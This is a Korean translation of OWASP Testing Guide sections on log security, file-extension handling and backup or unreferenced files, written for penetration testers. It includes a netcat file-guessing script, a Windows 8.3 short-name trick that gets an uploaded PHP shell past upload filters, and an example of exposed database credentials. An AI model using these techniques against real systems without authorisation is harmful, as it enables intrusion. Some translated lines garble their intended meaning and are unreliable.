일부 응용 프로그램은 예를 들어 GET 요청을 사용하여 서버 로그에 표시되는 양식 데이터를 전달할 수 있습니다. 즉, 서버 로그에 중요한 정보가 포함될 수 있습니다. 이 민감한 정보는 침입자가 관리 인터페이스나 알려진 웹 서버 취약점 또는 잘못된 구성 을 통해 로그를 얻은 경우 악의적으로 사용될 수 있습니다.

이벤트 로그에는 공격자에게 유용한 정보 (정보 유출)가 있거나 공격에 직접 사용될 수있는 데이터가 포함되는 경우가 많습니다.

  • 디버그 정보
  • 스택 트레이스
  • 사용자 이름
  • 시스템 구성 요소 이름
  • 내부 IP 주소
  • 덜 민감한 개인 데이터 (예: 이름이 지정된 개인과 관련된 이메일 주소, 우편 주소 및 전화 번호)
  • 비즈니스 데이터

또한 일부 관할 지역에서는 일부 개인 정보와 같은 로그 파일에 중요한 정보를 저장하면 백 엔드 데이터베이스에 적용 할 데이터 보호 법률을 로그 파일에도 적용해야 할 수 있습니다. 그렇게하지 않으면 무의식적으로 적용되는 데이터 보호법에 따라 처벌을받을 수 있습니다.

더 중요한 정보의 목록은 다음과 같습니다.

  • 응용 프로그램 소스 코드
  • 세션 식별 값
  • 액세스 토큰
  • 중요한 개인 정보 및 개인 식별 정보 (PII)의 일부 형태
  • 인증 암호
  • 데이터베이스 연결 문자열
  • 암호화 키
  • 은행 계좌 또는 지불 카드 소지자 데이터
  • 로깅 시스템보다 높은 보안 등급의 데이터를 저장할 수 있음
  • 상업적으로 민감한 정보
  • 사용자가 수집을 거부했거나 동의하지 않은 관련 관할 구역에서 수집하는 것은 불법입니다.

로그 위치

일반적으로 서버는 서버가 실행 중인 시스템의 디스크를 사용하여 작업 및 오류에 대한 로컬 로그를 생성합니다. 그러나 서버가 손상되면 침입자가 로그를 지우고 공격 및 방법의 모든 흔적을 정리할 수 있습니다. 이러한 일이 발생하면 시스템 관리자는 공격이 어떻게 발생했는지 또는 공격 소스가 어디에 위치해 있는지 알 수 없습니다. 사실, 대부분의 공격 도구 키트에는 주어진 정보를 포함하는 모든 로그를 정리할 수 있는 로그 재퍼가 포함되어 있으며, 공격자의 시스템 수준 루트 킷에 일상적으로 사용됩니다.

따라서 로그를 웹 서버 자체가 아닌 별도의 위치에 보관하는 것이 현명합니다. 또한 웹 서버 팜과 같은 동일한 응용 프로그램을 참조하는 여러 소스의 로그를보다 쉽게 집계 할 수 있으며 서버 자체에 영향을주지 않고 로그 집약(CPU 집약적 일 수 있음)을 쉽게 수행 할 수 있습니다.


로그 저장소

로그가 제대로 저장되지 않으면 로그에 서비스 거부 조건이 발생할 수 있습니다. 충분한 자원을 가진 공격자는 특별히 금지되지 않은 경우 로그 파일에 할당 된 공간을 채울 충분한 수의 요청을 생성 할 수 있습니다. 그러나 서버가 올바르게 구성되지 않은 경우 로그 파일은 운영 체제 소프트웨어 또는 응용 프로그램 자체에 사용 된 디스크 파티션과 동일한 디스크 파티션에 저장됩니다. 즉, 디스크를 가득 채우거나 디스크에 쓸 수 없기 때문에 운영 체제가 작동하지 않을 수 있습니다.

일반적으로 UNIX 시스템에서 로그는 /var에 있습니다. 로그가 저장된 디렉토리가 별도의 파티션에 있는지 확인하는 것이 중요합니다. 경우에 따라 시스템 로그가 영향을 받지 않도록 하려면 서버 소프트웨어 자체의 로그 디렉토리를 전용 파티션에 저장해야합니다.

로그가 파일 시스템을 채우도록 커져야한다는 말은 아닙니다. 서버 로그의 증가는 공격의 징후 일 수 있으므로이 상태를 감지하기 위해 모니터링 해야합니다. 이 조건을 테스트하는 것은 프로덕션 환경에서 쉽고 위험하며, 이러한 요청이 로깅되는지 여부 및 이러한 요청을 통해 로그 파티션을 채울 가능성이 있는지를 확인하기 위해 충분하고 지속적인 요청 수를 해고하는 것과 같습니다. GET 또는 POST 요청을 통해 생성되는지 여부에 관계없이 QUERY_STRING 매개 변수도 기록되는 일부 환경에서는 일반적으로 단일 요청으로 인해 데이터의 양이 적어 질 수 있기 때문에 날짜 및 시간, 소스 IP 주소, URI 요청 및 서버 결과와 같이 기록된 로그를 빠르게 채우는 큰 쿼리를 시뮬레이션 할 수 있습니다


로그 순환

대부분의 서버(그러나 몇몇 사용자 정의 응용 프로그램)는 로그가 순환하는 파일 시스템을 채우지 않도록 로그를 순환시킵니다. 로그를 회전 할 때의 가정은 제한된 시간 동안만 정보가 필요하다는 것입니다.

이 기능은 다음을 보장하기 위해 테스트되어야합니다.

  • 로그는 보안 정책에 정의된 시간 동안 유지되며 그 이상은 유지되지 않습니다.
  • 로그는 한 번 회전하면 압축됩니다.
  • 회전된 로그 파일의 파일 시스템 사용 권한은 로그 파일 자체의 사용 권한과 동일하거나 더 엄격합니다. 예를 들어, 웹 서버는 사용하는 로그에 쓰기를 해야하지만 회전된 로그에 실제로 쓸 필요는 없습니다. 즉, 웹 서버 프로세스가 수정하지 못하도록 파일의 권한을 변경할 수 있습니다.

일부 서버는 주어진 크기에 도달하면 로그를 순환시킬 수 있습니다. 이런 일이 발생하면 침입자가 로그를 숨기려면 로그를 강제로 로테이션 할 수 없도록 해야합니다.


로그 액세스 제어

최종 사용자는 이벤트 로그 정보를 볼 수 없습니다. 웹 관리자 조차도 관세 분리 통제를 깰 수 있으므로 이러한 로그를 볼 수 없어야 합니다. 원시 로그에 대한 액세스를 보호하는 데 사용되는 액세스 제어 스키마와 로그를 보거나 검색 할 수 있는 기능을 제공하는 모든 응용 프로그램이 다른 응용 프로그램 사용자 역할에 대한 액세스 제어 스키마와 연결되어 있지 않은지 확인 하십시오. 또한 인증되지 않은 사용자가 로그 데이터를 볼 수 있어야합니다.


로그 검토

로그 검토는 웹 서버의 파일 사용 통계 (일반적으로 대부분의 로그 기반 응용 프로그램에서 집중적으로 다루는)의 추출 이외에도 웹 서버에서 공격이 발생하는지 확인하는 데 사용될 수 있습니다.

웹 서버 공격을 분석하려면 서버의 오류 로그 파일을 분석해야합니다. 검토는 다음 사항에 집중해야합니다.

  • 40x (찾을 수 없음) 오류 메시지 동일한 출처의 많은 양은 웹 서버에 대해 사용되는 CGI 스캐너 도구를 나타낼 수 있습니다.
  • 50x (서버 오류) 메시지. 이는 예기치 않게 실패한 공격자의 응용 프로그램 악용을 나타낼 수 있습니다. 예를 들어 SQL 주입 공격의 첫 번째 단계는 SQL 쿼리가 제대로 구성되지 않았고 백 엔드 데이터베이스에서 실행이 실패 할 때 이러한 오류 메시지를 생성합니다.

로그 통계 또는 분석은 로그를 생성하는 동일한 서버에서 생성되거나 저장되어서는 안됩니다. 그렇지 않으면 공격자가 웹 서버의 취약성이나 부적절한 구성을 통해 액세스 권한을 얻고 로그 파일 자체에서 공개하는 것과 유사한 정보를 검색 할 수 있습니다.


참고 문헌

[1] Apache

[2] Lotus Domino

  • Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection
  • Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002
  • Hackproofing Lotus Domino Web Server, David Litchfield, October 2001,
  • NGSSoftware Insight Security Research, available at http://www. nextgenss.com

[3] Microsoft IIS

  • IIS 6.0 Security, by Rohyt Belani, Michael Muckin, - http://www. securityfocus.com/print/infocus/1765
  • IIS 7.0 Securing Configuration - http://technet.microsoft.com/enus/library/dd163536.aspx Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004
  • IIS Security and Programming Countermeasures, by Jason Coombs
  • From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis, Microsoft Corporation, June 2001
  • Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000
  • "INFO: Using URLScan on IIS" - http://support.microsoft.com/default.aspx?scid=307608

[4] Red Hat`s (formerly Netscape`s) iPlanet

  • Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes, The Network Applications Team of the Systems and Network Attack Center (SNAC), NSA, January 2001

[5] WebSphere

  • IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002.
  • IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002.

[6] General

  • Logging Cheat Sheet, OWASP
  • SP 800-92 Guide to Computer Security Log Management, NIST
  • PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4, PCI Security Standards Council

[7] Generic:


OTG-CONFIG-003 (민감한 정보를 확인하기 위해 파일 확장자 처리 테스트)


개요

파일 확장자는 일반적으로 쉽게 웹 요청을 수행하는 데 사용되어야 하는 기술, 언어, 플러그인을 결정하기 위해 웹 서버에서 사용됩니다.

이 동작은 RFC 및 웹 표준과 일치하지만 표준 파일 확장명을 사용하면 침투 테스터가 웹 어플라이언스에 사용되는 기본 기술에 대한 유용한 정보를 제공하고 특정 기술에 사용되는 공격 시나리오를 결정하는 작업을 크게 단순화합니다.

또한 웹 서버의 잘못된 구성으로 인해 액세스 자격 증명에 대한 기밀 정보가 쉽게 노출 될 수 있습니다.

확장 검사는 업로드 할 파일을 확인하는 데 자주 사용되며, 내용이 예상 한 내용이 아니거나 예기치 않은 OS 파일 이름 처리로 인해 예기치 않은 결과가 발생할 수 있습니다.

웹 서버가 확장자가 다른 파일에 해당하는 요청을 처리하는 방법을 결정하면 액세스되는 파일의 종류에 따라 웹 서버 동작을 이해하는 데 도움이 될 수 있습니다. 예를 들어, 텍스트 또는 일반 텍스트로 반환되는 파일 확장명과 서버 측에서 실행을 유발하는 확장명을 이해하는 데 도움이 될 수 있습니다. 후자는 웹 서버 또는 응용 프로그램 서버에서 사용되는 기술, 언어 또는 플러그인을 나타내며 웹 응용 프로그램의 설계 방법에 대한 추가 통찰력을 제공합니다. 예를 들어, ".pl" 확장자는 대개 서버 측 Perl 지원과 연관됩니다. 그러나 파일 확장만으로는 기만적이고 완전히 결정적인 것은 아닙니다. 예를 들어 Perl 서버 측 리소스는 실제로 Perl과 관련된 사실을 숨기기 위해 이름이 바뀔 수 있습니다.


테스트 방법

강제 브라우징

다른 파일 확장명과 관련된 http[s] 요청을 제출하고 처리 방법을 확인하십시오. 확인은 웹 디렉토리별로 이루어져야합니다. 스크립트 실행을 허용하는 디렉토리를 확인하십시오. 웹 서버 디렉토리는 잘 알려진 디렉토리가 있는지 확인하는 취약점 스캐너로 식별 할 수 있습니다. 또한 웹 사이트 구조를 미러링하면 테스터는 응용 프로그램이 제공하는 웹 디렉토리의 트리를 재구성 할 수 있습니다.

웹 응용 프로그램 아키텍처의 부하가 분산되면 모든 웹 서버를 평가하는 것이 중요합니다. 이는 균형 조정 인프라의 구성에 따라 쉽지 않을 수도 있습니다. 중복 구성 요소가있는 인프라에서 개별 웹 또는 응용 프로그램 서버의 구성에는 약간의 차이가 있을 수 있습니다. 이것은 웹 아키텍처가 이기종 기술을 사용하는 경우 발생할 수 있습니다.

예제

테스터는 connection.inc라는 파일의 존재를 확인했습니다. 직접 액세스하려고하면 다음과 같은 내용이 반환됩니다.

<?
    mysql_connect("127.0.0.1", "root", "") or die("Could not connect");
?>

테스터는 MySQL DBMS 백 엔드의 존재 여부와 웹 응용 프로그램이 액세스하는 데 사용하는 (약한) 자격 증명을 확인합니다. 다음 파일 확장자는 민감한 정보를 포함 할 수 있는 파일 또는 제공 할 이유가 없는 파일이므로 웹 서버에서 절대로 반환하지 않아야 합니다.

.asa
.inc

다음 파일 확장명은 액세스 할 때 브라우저에서 표시하거나 다운로드하는 파일과 관련이 있습니다. 따라서 이러한 확장명을 가진 파일은 실제로 제공될 예정이며 남은 부분이 아닌지 확인하고 중요한 정보가 포함되어 있지 않은지 확인해야 합니다.

.zip, .tar, .gz, .tgz, .rar, ...: (Compressed) archive files
.java: No reason to provide access to Java source files
.txt: Text files
.pdf: PDF documents
.doc, .rtf, .xls, .ppt, ...: Office documents
.bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)

위에 제시된 목록은 파일 확장자가 너무 많아 여기에서 포괄적으로 다루어지기 때문에 몇 가지 예를 자세히 설명합니다. 주어진 확장자를 갖는 파일을 식별하기 위해 기술의 혼합이 사용될 수 있습니다. 이러한 기법에는 취약점 검색기, 스파이더 링 및 미러링 도구, 응용 프로그램을 수동으로 검사, 검색 엔진 쿼리 등이 있습니다. "잊어 버린"파일과 관련된 보안 문제를 다루는 오래된 파일, 백업 파일 및 참조되지 않은 파일 테스트를 참조하십시오.


파일 업로드

Windows 8.3 레거시 파일 처리를 사용하여 파일 업로드 필터를 무효화 할 수 있음

Usage Examples:

file.phtml gets processed as PHP code
FILE~1.PHT is served, but not processed by the PHP ISAPI han
dler
shell.phPWND can be uploaded
SHELL~1.PHP will be expanded and returned by the OS shell,
then processed by the PHP ISAPI handler

Gray Box testing

파일 확장자 처리에 대한 화이트 박스 테스트를 수행하면 웹 응용 프로그램 아키텍처에 참여하는 웹 서버 또는 응용 프로그램 서버의 구성을 확인하고 다른 파일 확장자를 제공하는 방법을 확인하는 데 소요됩니다. 웹 응용 프로그램이 부하가 분산 된 이기종 인프라를 사용하는 경우 이것이 다른 동작을 유발하는지 여부를 결정합니다.


도구

Nessus 및 Nikto와 같은 취약점 검색 프로그램은 잘 알려진 웹 디렉토리의 존재 여부를 확인합니다. 테스터가 웹 사이트 구조를 다운로드 할 수 있게하여 웹 디렉토리의 구성과 개별 파일 확장자가 제공되는 방식을 결정할 때 유용합니다. 이 목적을 위해 사용할 수 있는 다른 도구는 다음과 같습니다.


OTG-CONFIG-004 (민감한 정보를 확인하기 위해 백업 및 참조되지 않은 파일 테스트)


개요

웹 서버 내의 대부분의 파일은 서버 자체에서 직접 처리되지만 인프라 또는 자격 증명에 대한 중요한 정보를 얻는 데 사용할 수있는 참조되지 않거나 잊어 버린 파일은 흔히 발견되지 않습니다. 가장 일반적인 시나리오는 수정 된 파일의 이름이 변경된 이전 버전, 선택한 언어로 로드되고 원본으로 다운로드 할 수 있는 포함 파일 또는 압축된 아카이브 형식의 자동 또는 수동 백업을 포함합니다. 백업 파일은 응용 프로그램이 호스팅되는 기본 파일 시스템 (일반적으로 "스냅 샷"이라고도 함)에 의해 자동으로 생성 될 수도 있습니다. 이러한 모든 파일은 내부 인터페이스, 백도어, 관리 인터페이스 또는 심지어 관리 인터페이스 또는 데이터베이스 서버에 연결하기위한 자격 증명에 대한 테스터 액세스를 허용 할 수 있습니다. 중요한 취약점의 원인은 응용 프로그램과 아무 관련이 없지만 응용 프로그램 파일을 편집한 결과 또는 직접 복사를 작성한 결과로 생성되거나 웹 트리에 이전 파일 또는 참조되지 않은 파일을 남겨 두었기 때문입니다. 파일을 편집하는 동안 편집기에서 자동으로 생성하거나 백업 세트를 생성하기 위해 파일 집합을 압축하는 관리자가 실수로 백업 복사본을 남길 수 있습니다.

그러한 파일을 잊어 버리기 쉽고 이로 인해 응용 프로그램에 심각한 보안 위협이 될 수 있습니다. 원본 파일과 다른 파일 확장명으로 백업 복사본이 생성 될 수 있기 때문에 이러한 상황이 발생합니다. 생성하고 잊어버리는 .tar, .zip 또는 .gz 아카이브는 분명히 다른 확장자를 가지며 많은 편집자가 만든 자동 사본에서도 마찬가지입니다 (예를 들어, emacs는 file~ 편집 파일).

직접 복사를 하면 같은 효과가 발생할 수 있습니다(파일을 file.old로 복사하는 것을 생각하십시오). 응용 프로그램이있는 기본 파일 시스템은 사용자가 모르게 다른 시점에 응용 프로그램의 "스냅 샷"을 만들 수 있습니다. 또한 웹을 통해 액세스 할 수 있으므로 응용 프로그램과 유사하지만 다른 "백업 파일"스타일의 위협이 됩니다.

결과적으로 이러한 활동은 응용 프로그램에서 필요하지 않은 파일을 생성하며 웹 서버에서 원본 파일과 다르게 처리 할 수 ​​있습니다. 예를 들어 login.asp.old라는 이름의 login.asp 사본을 만들면 사용자가 login.asp의 소스 코드를 다운로드 할 수 있게됩니다.

이는 login.asp.old가 일반적으로 확장 때문에 실행되지 않고 텍스트 또는 일반 텍스트로 제공되기 때문입니다. 즉, login.asp에 액세스하면 login.asp의 서버 측 코드가 실행되고 login.asp.old에 액세스하면 login.asp.old(다시 서버 측 코드)의 내용이 다음과 같이됩니다. 명백히 사용자에게 반환되어 브라우저에 표시됩니다. 민감한 정보가 노출 될 수 있으므로 보안 위험이 발생할 수 있습니다.

일반적으로 서버 사이드 코드를 드러내는 것은 나쁜 생각입니다. 불필요하게 비즈니스 로직을 노출하고 있을뿐만 아니라 공격자(경로 이름, 데이터 구조 등)를 도울 수 있는 애플리케이션 관련 정보를 모르게 공개 할 수 있습니다. 일반 텍스트에 사용자 이름과 암호가 포함된 스크립트가 너무 많다는 사실은 말할 필요도 없습니다. 참조되지 않은 파일의 다른 원인은 데이터 파일, 구성 파일, 로그 파일과 같은 다양한 종류의 응용 프로그램 관련 파일이 웹 서버에서 액세스 할 수있는 파일 시스템 디렉토리에 저장 될 수 있도록 허용 할 때 설계 또는 구성 선택 때문입니다. 이러한 파일은 웹을 통해 액세스 할 수 있는 파일 시스템 공간에 있을 이유가 없습니다. 응용 프로그램 수준에서만 액세스해야하기 때문에 응용 프로그램 자체에서 액세스해야 합니다.

위협 오래된, 백업 및 참조되지 않은 파일은 웹 응용 프로그램의 보안에 대한 다양한 위협을 나타냅니다.

  • 참조되지 않은 파일은 응용 프로그램에 집중적으로 공격 할 수있는 중요한 정보를 공개 할 수 있습니다. 예를 들어 데이터베이스 자격 증명을 포함하는 파일, 다른 숨겨진 내용에 대한 참조를 포함하는 구성 파일, 절대 파일 경로 등을 포함 할 수 있습니다.
  • 참조되지 않은 페이지에는 응용 프로그램을 공격하는 데 사용할 수 있는 강력한 기능이 포함될 수 있습니다. 예를 들어 게시 된 콘텐츠와 연결되어 있지 않지만 어디에서 찾을 수 있는지를 아는 모든 사용자가 액세스 할 수 있는 관리 페이지.
  • 오래된 파일과 백업 파일에는 최신 버전에서 수정된 취약점이 있을 수 있습니다. 예를 들어 viewdoc.old.jsp에는 viewdoc.jsp에서 수정되었지만 이전 버전을 찾은 사람이 여전히 악용 할 수 있는 디렉토리 트래버설 취약점이 있을 수 있습니다.
  • 백업 파일은 서버에서 실행되도록 고안된 페이지의 소스 코드를 공개 할 수 있습니다. 예를 들어 viewdoc.bak를 요청하면 viewdoc.jsp의 소스 코드가 반환 될 수 있습니다. 이 소스 코드는 실행 파일 페이지에 대해 시각적인 요청을 함으로써 발견하기 어려운 취약성을 검토할 수 있습니다. 이 위협은 Perl, PHP, ASP, 셸 스크립트, JSP 등과 같은 스크립팅 언어에 분명히 적용되지만, 다음 글 머리 기호에서 제공되는 예제에서 볼 수 있듯이 이러한 위협은 이에 국한되지 않습니다.
  • 백업 아카이브는 웹 루트 내에 모든 파일의 복사본을 포함 할 수 있습니다. 이를 통해 공격자는 참조되지 않은 페이지, 소스 코드, 포함 파일 등 전체 응용 프로그램을 빠르게 열거 할 수 있습니다. 예를 들어 myservlets라는 파일을 잊어 버린 경우를 예로 들 수 있습니다. jar.old 파일에 서블릿 구현 클래스(백업 복사본)가 포함되어 있으면 디컴파일 및 역엔지니어링의 영향을 받기 쉬운 중요한 정보가 많이 노출됩니다.
  • 파일을 복사하거나 편집해도 파일 확장자는 수정되지 않지만 파일 이름은 수정됩니다. 이것은 파일 복사 작업에서 "Copy of" 접두어가 붙은 파일 이름이나 이 문자열의 자국어 버전을 생성하는 Windows 환경에서 발생합니다. 파일 확장자는 변경되지 않으므로 웹 서버가 실행 파일을 일반 텍스트로 반환하므로 소스 코드가 공개되지 않습니다. 그러나 진단 메시지 표시를 사용하는 경우 공격자에게 중요한 정보를 제공 할 수 있는 응용 프로그램 오류를 유발할 수 있는 쓸모없고 잘못된 논리가 포함될 가능성이 있기 때문에 이러한 파일도 위험합니다.
  • 로그 파일에는 응용 프로그램 사용자의 활동에 대한 중요한 정보(예 : URL 매개 변수, 세션 ID, 방문한 URL (참조되지 않은 추가 내용을 공개 할 수 있음) 등)와 같은 중요한 데이터가 포함될 수 있습니다. 기타 로그 파일(예: ftp 로그)에는 민감한 시스템 관리자가 응용 프로그램 유지 관리에 대한 정보.
  • 파일 시스템 스냅 샷에는 최신 버전에서 수정된 취약점이 포함 된 코드 사본이 포함될 수 있습니다. 예를 들어, /.snapshot/monthly.1/view.php는 /view.php에서 수정되었지만 이전 버전을 찾은 사람이 여전히 악용 할 수있는 디렉토리 트래버설 취약점을 포함 할 수 있습니다.

테스트 방법


Black Box Testing

참조되지 않은 파일에 대한 테스트는 자동 및 수동 기술을 모두 사용하며 일반적으로 다음을 조합하여 수행됩니다.

게시된 콘텐츠에 사용 된 명명 체계의 추측

응용 프로그램의 모든 페이지와 기능을 열거하십시오. 이 작업은 브라우저를 사용하거나 응용 프로그램 스파이더 링 도구를 사용하여 수동으로 수행할 수 있습니다. 대부분의 응용 프로그램은 인식 할 수 있는 명명 체계를 사용하고 해당 기능을 설명하는 단어를 사용하여 리소스를 페이지 및 디렉토리로 구성합니다. 게시된 컨텐츠에 사용된 명명 체계에서 참조되지 않은 페이지의 이름과 위치를 유추하는 것이 가능합니다. 예를 들어, viewuser.asp 페이지가 발견되면 edituser.asp, adduser.asp 및 deleteuser.asp도 찾습니다. 디렉토리 /app/user가 발견되면 /app/admin 및 /app/manager도 찾습니다.

게시된 콘텐츠의 다른 단서

많은 웹 응용 프로그램은 숨겨진 페이지 및 기능을 발견 할 수 있는 게시된 콘텐츠에 단서를 남깁니다. 이러한 단서는 종종 HTML 및 JavaScript 파일의 소스 코드에 나타납니다. 게시된 모든 컨텐츠의 소스 코드는 다른 페이지 및 기능에 대한 단서를 찾기 위해 수동으로 검토해야합니다.

프로그래머의 주석과 주석 처리 된 소스 코드 섹션은 숨겨진 컨텐츠를 참조 할 수 있습니다.

<!-- <A HREF="uploadfile.jsp">Upload a document to the server</A>
-->
<!-- Link removed while bugs in uploadfile.jsp are fixed -->

자바 스크립트는 특정 상황에서 사용자의 GUI 내에서만 렌더링되는 페이지 링크를 포함 할 수 있습니다.

var adminUser=false;
:
if (adminUser) menu.add (new menuItem ("Maintain users", "/admin/useradmin.jsp"));

HTML 페이지에는 SUBMIT 요소를 비활성화하여 숨겨진 FORM이 포함될 수 있습니다.

<FORM action="forgotPassword.jsp" method="post">
    <INPUT type="hidden" name="userID" value="123">
    <!-- <INPUT type="submit" value="Forgot Password"> -->
</FORM>

참조되지 않은 디렉토리에 대한 또 다른 단서는 웹 로봇에게 지침을 제공하는 데 사용되는 /robots.txt 파일입니다.

User-agent: *
Disallow: /Admin
Disallow: /uploads
Disallow: /backup
Disallow: /~jbloggs
Disallow: /include

맹목적인 추측

가장 단순한 형태로는 서버에있는 파일과 디렉토리를 추측하기 위해 요청 엔진을 통해 공통 파일 이름 목록을 실행하는 작업이 포함됩니다. 다음 netcat wrapper 스크립트는 stdin에서 단어 목록을 읽고 기본 추측 공격을 수행합니다.

#!/bin/bash
server=www.targetapp.com
port=80
while read url
do
echo -ne "$url\t"
echo -e "GET /$url HTTP/1.0\nHost: $server\n" | netcat $server
$port | head -1
done | tee outputfile

서버에 따라 더 빠른 결과를 얻으려면 GET을 HEAD로 바꿀 수 있습니다. 지정된 출력 파일은 "흥미로운" 응답 코드를 얻을 수 있습니다. 응답 코드 200(OK)은 일반적으로 유효한 자원이 발견되었음을 나타냅니다(서버가 200 코드를 사용하여 사용자 정의 "찾을 수 없음"페이지를 제공하지 않는 경우). 또한 301(이동), 302(찾음), 401(권한 없음), 403(금지됨) 및 500(내부 오류)를 조사하십시오.

기본 추측 공격은 웹 루트와 다른 열거 기법을 통해 식별 된 모든 디렉토리에 대해 실행되어야합니다. 다음과 같이 더 고급/효과적인 추측 공격을 수행 할 수 있습니다.

  • 애플리케이션의 알려진 영역(예 : jsp, aspx, html)에서 사용 중인 파일 확장자를 확인하고 각 확장자에 기본 단어 목록을 사용합니다 (또는 리소스가 허용하는 경우 긴 확장자 목록 사용).
  • 다른 열거 기법을 통해 식별 된 각 파일에 대해 해당 파일 이름에서 파생 된 사용자 정의 단어 목록을 만듭니다. ~, bak, txt, src, dev, old, inc, orig, copy, tmp 등의 일반적인 파일 확장명 목록을 가져 와서 실제 파일 확장자의 앞뒤에 각각의 확장자를 사용하십시오.

Note: Windows 파일 복사 작업은 "Copy of" 또는 이 문자열의 자국어 버전이 붙은 파일 이름을 생성하므로 파일 확장명을 변경하지 않습니다. "Copy of" 파일은 일반적으로 액세스 할 때 소스 코드를 공개하지 않지만 호출 할 때 오류가 발생할 경우 유용한 정보를 제공합니다.

서버 취약점 및 잘못된 구성을 통해 얻은 정보

잘못 설정된 서버가 참조되지 않은 페이지를 공개 할 수 있는 가장 확실한 방법은 디렉토리 목록을 사용하는 것입니다. 열거 된 모든 디렉토리에 디렉토리 목록을 제공하는 디렉토리를 식별하도록 요청하십시오.

개별 웹 서버에 수많은 취약점이 발견되어 공격자가 참조되지 않은 콘텐츠를 열거 할 수 있습니다. 예를 들면 다음과 같습니다.

  • 아파치 ?M=D 디렉토리 리스팅 취약점
  • 다양한 IIS 스크립트 소스 공개 취약점
  • IIS WebDAV 디렉토리 목록 취약점

공개적으로 사용 가능한 정보의 사용

응용 프로그램 자체에서 참조되지 않는 인터넷 연결 웹 응용 프로그램의 페이지 및 기능은 다른 공개 도메인 소스에서 참조 할 수 있습니다. 이러한 참고 문헌에는 다양한 출처가 있습니다.

  • 참조하는 데 사용된 페이지는 여전히 인터넷 검색 엔진의 아카이브에 나타날 수 있습니다. 예를 들어, 1998results.asp는 회사 웹 사이트에서 더 이상 링크되지 않지만 서버 및 검색 엔진 데이터베이스에 남아 있을 수 있습니다. 이 오래된 스크립트에는 전체 사이트를 손상시키는 데 사용할 수 있는 취약점이 포함될 수 있습니다. 사이트: Google 검색 연산자는 site: www.example.com과 같이 선택한 도메인에 대해서만 쿼리를 실행하는데 사용 될 수 있습니다. 이 방법으로 검색 엔진을 사용하면 유용 할 수 있는 다양한 기술로 이어집니다. Google을 통해 테스트 기술을 향상시킬 수 있는지 확인하십시오. 백업 파일은 다른 파일에서 참조 할 가능성이 없으므로 Google에서 색인을 생성하지 않았지만 검색 가능한 디렉토리에 있으면 색인 엔진이 알 수 있습니다.
  • 또한 Google과 Yahoo는 로봇이 찾은 페이지의 캐시된 버전을 유지합니다. 1998results.asp가 대상 서버에서 제거되었더라도 해당 출력 버전은 여전히 ​​이러한 검색 엔진에 저장 될 수 있습니다. 캐시된 버전에는 여전히 서버에 남아있는 추가 숨겨진 콘텐츠에 대한 참조 또는 단서가 포함될 수 있습니다.
  • 대상 응용 프로그램 내에서 참조되지 않은 콘텐츠는 제 3자 웹 사이트와 연결될 수 있습니다. 예를 들어 타사 거래 업체를 대신하여 온라인 지불을 처리하는 응용 프로그램에는 고객의 웹 사이트에 있는 링크를 따라야 만 맞춤형 기능을 다양하게 포함 할 수 있습니다.

파일 이름 필터 우회

블랙리스트 필터는 정규 표현식을 기반으로 하기 때문에 때때로 개발자가 예상하지 못한 방식으로 작동하는 모호한 OS 파일 이름 확장 기능을 이용할 수 있습니다. 테스터는 파일 이름이 애플리케이션, 웹 서버 및 기본 OS와 파일 이름 규칙에 따라 파싱되는 방식의 차이점을 악용 할 수 있습니다.

예제: Windows 8.3 파일 이름 확장 "c:program files"는 "C:PROGRA ~ 1"이 됩니다. - 호환되지 않는 문자 제거 - 공백을 밑줄로 변환 - 기본 이름의 처음 6문자 가져 오기 - 동일한 6개의 초기 문자를 사용하여 이름이있는 파일을 구별하는 "~<digit>"을 추가하십시오 - 이 컨벤션은 처음 3회의 이름 변경 후 변경됩니다. - 파일 확장자를 3자로 줄입니다. - 모든 문자를 대문자로 만듭니다.

Gray Box Testing

이전 및 백업 파일에 대해 회색 상자 테스트를 수행하려면 웹 응용 프로그램 인프라의 웹 서버에서 제공하는 일련의 웹 디렉토리에 속한 디렉토리에 들어있는 파일을 검사해야 합니다. 이론적으로 검사는 손으로 철저히 수행해야 합니다. 그러나 대부분의 경우 파일 또는 백업 파일의 복사본은 동일한 명명 규칙을 사용하여 생성되는 경향이 있으므로 검색을 쉽게 스크립팅 할 수 있습니다. 예를 들어, 편집자는 인식 가능한 확장자 또는 결말을 붙여 백업 사본을 남겨두고 사람은 ".old"또는 비슷한 예측 확장자를 가진 파일을 남겨 두는 경향이 있습니다. 좋은 전략은 주기적으로 백그라운드 작업을 스케줄링하여 확장자가 사본 또는 백업 파일로 식별할 가능성이있는 파일을 검사하고 더 긴 시간 기준으로 수동 검사를 수행하는 것입니다.


도구


권고 사항

효과적인 보호 전략을 보장하기 위해 다음과 같은 위험한 행위를 명확하게 금지하는 보안 정책에 따라 테스트를 수행해야합니다.

  • 웹 서버 또는 응용 프로그램 서버 파일 시스템에서 현재 위치에서 파일 편집. 이는 편집자가 원치 않는 백업 파일을 생성할 가능성이 있기 때문에 특히 나쁜 습관입니다. 대규모 조직에서 조차 이것이 얼마나 자주 수행되는지 보는 것은 놀랍습니다. 프로덕션 시스템에서 파일을 절대적으로 편집해야 하는 경우 명시 적으로 의도되지 않은 것을 남겨 두지 않도록 하십시오. 그리고 자신의 책임하에 수행해야합니다.
  • 스폿 관리 활동과 같이 웹 서버에 의해 노출된 파일 시스템에서 수행된 다른 작업을 주의 깊게 확인하십시오. 예를 들어 프로덕션 시스템에서 사용하지 말아야 할 디렉토리 몇 개를 스냅 샷으로 만들어야하는 경우가 종종 있습니다. 이러한 아카이브 파일을 잊지 않도록 주의하십시오.
  • 적절한 구성 관리 정책은 쓸모없고 참조되지 않은 파일을 남기지 않아야합니다.
  • 응용 프로그램은 웹 서버에서 제공하는 웹 디렉토리 트리 아래에 저장된 파일을 만들지 않거나(또는 ​​의존하지 않도록) 설계되어야 합니다. 데이터 파일, 로그 파일, 설정 파일 등은 웹 서버가 접근 할 수 없는 디렉토리에 저장되어 정보 유출 가능성에 대응할 수 있어야합니다.
